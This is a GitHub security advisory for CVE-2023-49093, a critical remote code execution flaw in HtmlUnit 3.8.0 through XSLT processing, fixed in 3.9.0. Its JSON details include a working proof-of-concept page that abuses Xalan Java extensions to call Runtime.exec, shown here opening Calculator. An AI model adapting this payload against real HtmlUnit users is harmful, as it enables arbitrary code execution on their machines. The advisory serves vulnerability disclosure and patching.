ghsa-37vq-hr2f-g7h7
Vulnerability from github
Published
2023-12-04 23:13
Modified
2023-12-04 23:13
Severity ?
Summary
HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL
Details
Summary
HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage
Details
Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)
The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor
PoC
pom.xml:
<dependency>
<groupId>org.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>3.8.0</version>
</dependency>
code:
WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);
HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html");
System.out.println(page.asNormalizedText());
test.html: ```
```
Impact
Remote Code Execution
{ "affected": [ { "package": { "ecosystem": "Maven", "name": "org.htmlunit:htmlunit" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "3.9.0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2023-49093" ], "database_specific": { "cwe_ids": [ "CWE-94" ], "github_reviewed": true, "github_reviewed_at": "2023-12-04T23:13:30Z", "nvd_published_at": "2023-12-04T05:15:07Z", "severity": "CRITICAL" }, "details": "### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker\u2019s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n\u003cdependency\u003e\n \u003cgroupId\u003eorg.htmlunit\u003c/groupId\u003e\n \u003cartifactId\u003ehtmlunit\u003c/artifactId\u003e\n \u003cversion\u003e3.8.0\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n\u003cscript\u003e\n var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n var xslProc;\n xslDoc.async = false;\n xslDoc.loadXML(`\u003cxsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\u003e\n \u003cxsl:template match=\"/\"\u003e\n \u003cxsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/\u003e\n \u003cxsl:variable name=\"process\" select=\"rt:exec($rtobject,\u0027open -a Calculator\u0027)\"/\u003e\n \u003cxsl:variable name=\"processString\" select=\"ob:toString($process)\"/\u003e\n \u003cspan\u003e\u003cxsl:value-of select=\"$processString\"/\u003e\u003c/span\u003e\n \u003c/xsl:template\u003e\n \u003c/xsl:stylesheet\u003e`)\n\n if (xslDoc.parseError.errorCode != 0) {\n var myErr = xslDoc.parseError;\n document.write(\"ParseError: \"+myErr.reason);\n } else {\n xslt.stylesheet = xslDoc;\n var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n xmlDoc.async = false;\n xmlDoc.loadXML(\"\u003cs\u003e\u003c/s\u003e\");\n if (xmlDoc.parseError.errorCode != 0) {\n var myErr = xmlDoc.parseError;\n document.write(\"Document error: \" + myErr.reason);\n } else {\n xslProc = xslt.createProcessor();\n xslProc.input = xmlDoc;\n xslProc.transform();\n document.write(xslProc.output);\n }\n }\n\u003c/script\u003e\n```\n\n\n### Impact\nRemote Code Execution", "id": "GHSA-37vq-hr2f-g7h7", "modified": "2023-12-04T23:13:30Z", "published": "2023-12-04T23:13:30Z", "references": [ { "type": "WEB", "url": "https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49093" }, { "type": "PACKAGE", "url": "https://github.com/HtmlUnit/htmlunit" }, { "type": "WEB", "url": "https://www.htmlunit.org/changes-report.html#a3.9.0" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL" }
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- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
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- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.